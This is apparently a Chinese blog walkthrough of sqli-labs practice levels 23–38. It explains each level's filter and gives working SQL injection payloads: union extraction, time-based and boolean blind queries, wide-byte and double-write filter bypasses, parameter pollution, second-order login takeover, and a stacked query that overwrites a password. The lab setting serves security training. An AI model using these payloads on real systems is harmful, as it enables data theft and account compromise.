sqli-labs靶场(23-38关)

目录

第二十三关:

第二十四关(二次注入):

第二十五关(过滤and和or):

第二十六关(过滤空格):

第二十六a关(过滤空格):

第二十七(过滤union和select):

第二十七a(过滤union和select):

第二十八关:

第二十九关(绕过waf):

第三十关:

第三十一关:

第三十二关(宽字节注入):

第三十三关:

第三十四关:

第三十五关:

第三十六关:

第三十七关:

第三十八关(堆叠注入):


第二十三关:

看源码,知道过滤了#和--的注释符

if(isset($_GET['id']))
{
$id=$_GET['id'];

//filter the comments out so as to comments should not work
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);
?id=1'
#报错

#构造payload
?id=1' and '1'='1
?id=-1' union select 1,2,3 and '1'='1

第二十四关(二次注入):

二次注入:是指预先编译好注入语句存储到数据库,第二次调用这个数据的时候产生漏洞

正常用户
username=admin
password=admin

新注册用户
username=admin'#
password=123

登录新注册的用户进行密码修改
newpassword=123456

退出登录

登录正常用户
username=admin
password=123456

登录成功

第二十五关(过滤and和or):

这里过滤了and和or,用双写进行绕过

?id=1' aandnd '1'='1
?id=-1' union select 1,2,3 aandnd '1'='1

第二十六关(过滤空格):

单引号报错

?id=1'

双写绕过过滤and和or,过滤空格(用括号)

payload
?id=1 'aandnd(if(length(database())=8,sleep(10),sleep(1)))aandnd'1'='1

第二十六a关(过滤空格):

源码的sql语句,用')来闭合

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

 知道如何闭合接下来和第二十六关一样

payload
?id=1 ')aandnd(if(length(database())=8,sleep(10),sleep(1)))aandnd('1')=('1

第二十七(过滤union和select):

单引号报错

?id=1'

发现过滤了union和select 还有空格,但是相比二十六关很多的截断方式还可以用

payload
?id=a1' UnION%0ASelEct%0A1,2,3;%00

第二十七a(过滤union和select):

?id=1' and '1'='1
#没有回显
?id=1" and "1"="1
#有数据返回,说明用"闭合,空格被过滤了

payload
?id=a1"%0AUnIOn%0ASelECt%0A1,2,3;%00

第二十八关:

?id=1" and '1'='1
#没有回显
?id=1' and '1'='1
#有数据返回,说明用'闭合,空格被过滤了,后面看了一下源码发现是')闭合


用布尔类型判断
?id=1')and ord(mid(user(),1,1))=114%0Aand'1'='1

绕过union和select连在一起使用的过滤
?id=a1')unionunion%0Aselect%0Aselect%0A1,2,3;%00

第二十九关(绕过waf):

这里可以使用提交脏数据来干扰waf 的判断。
        通俗的解释就是:waf对接收的数据的有效过滤数据长度是有限的或者是单一的,
        比如有效过滤的长度只有2048个字节,我们上传一个payload前2048个字节都是没用的数据后面接上攻击语句这样可以绕过waf。
        或者说上传两个同参数名的数值,waf可能只对第一个数值进行过滤,而后台接收到是第二个也可以绕过。

payload

?id=a&id=a1'union sElect 1,database(),version();%00

第三十关:

?id=1&id=1 'and 1=1--+ #有回显
?id=1&id=1 'and 1=2--+ #有回显

?id=1&id=1 "and 1=1--+ #有回显
?id=1&id=1 "and 1=2--+ #无回显

#用"闭合,payload
?id=-1&id=-1 "union select 1,2,3--+

第三十一关:

?id=1&id=1"--+  #报错
?id=1&id=1"'--+ #报错''-- ") LIMIT 0,1' at line 1

#可以用")闭合
?id=1&id=1")and 1=1--+
?id=1&id=1")and 1=2--+
?id=a1&id=a1")union select 1,2,3--+

第三十二关(宽字节注入):

后端检测'和",在前面加\,这里可以用宽字节注入

宽字节注入:
1:窄字节是指大小为一个字节的字符(英文默认是一个字节),宽字节是指大小为两个字节的字符(汉字默认是两个字节)
2:宽字节注入存在的原因是因为数据库和php的编码格式不相同产生的

sqli-labs靶场(23-38关)_第1张图片

 用burpsuit来进行宽字节注入,可以发现'已经逃逸成功

#%df是中文的第一个字
?id=1%df'

sqli-labs靶场(23-38关)_第2张图片

 直接上payload

payload
?id=1%df'and%201=1--+
?id=1%df'and%201=2--+
?id=a1%df'union%20select%201,2,3--+

第三十三关:

与上一题一样的过滤机制,检测'和"并在前面加\,这一题不一样的是用了php里面的addslashes()函数来完成过滤

payload

payload
?id=1%df'and%201=1--+
?id=1%df'and%201=2--+
?id=a1%df'union%20select%201,2,3--+

第三十四关:

uname=admin'--+&passwd=admin    #'被过滤加了\

uname=admin%df' or 1=1--+&passwd=123   #登录成功

payload
uname=admin%df'union select 1,2--+&passwd=admin

第三十五关:

这一题也是用addslashes()函数来完成过滤,但是这题我闭合了半天最后直接猜测是个数字型

payload

?id=-1 union select 1,user(),database()--+

第三十六关:

?id=1' 
#Hint: The Query String you input is escaped as : 1\'

?id=1 %df'
#You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1 �\'' LIMIT 0,1' at line 1

payload
?id=1%20%df%27and%201=1--+
?id=1%20%df%27and%201=2--+
?id=-1%20%df%27union%20select%201,2,3--+

第三十七关:

与第三十四关思路差不多,但是这里用的是mysqli_real_escape_string函数来过滤

uname=admin'--+&passwd=admin    #'被过滤加了\

uname=admin%df' or 1=1--+&passwd=123   #登录成功

payload
uname=admin%df'union select 1,2--+&passwd=admin

第三十八关(堆叠注入):

堆叠注入:sql的特性用;来结束语句,例如select 1,2,3;select version();会同时执行两个语句

payload
?id=1'and 1=1--+
?id=1'and 1=2--+

?id=1  #Your Password is : 0
?id=1';update users set password='test' where username='Dumb';--+
?id=1  #Your Password is : test

你可能感兴趣的:(靶机,安全)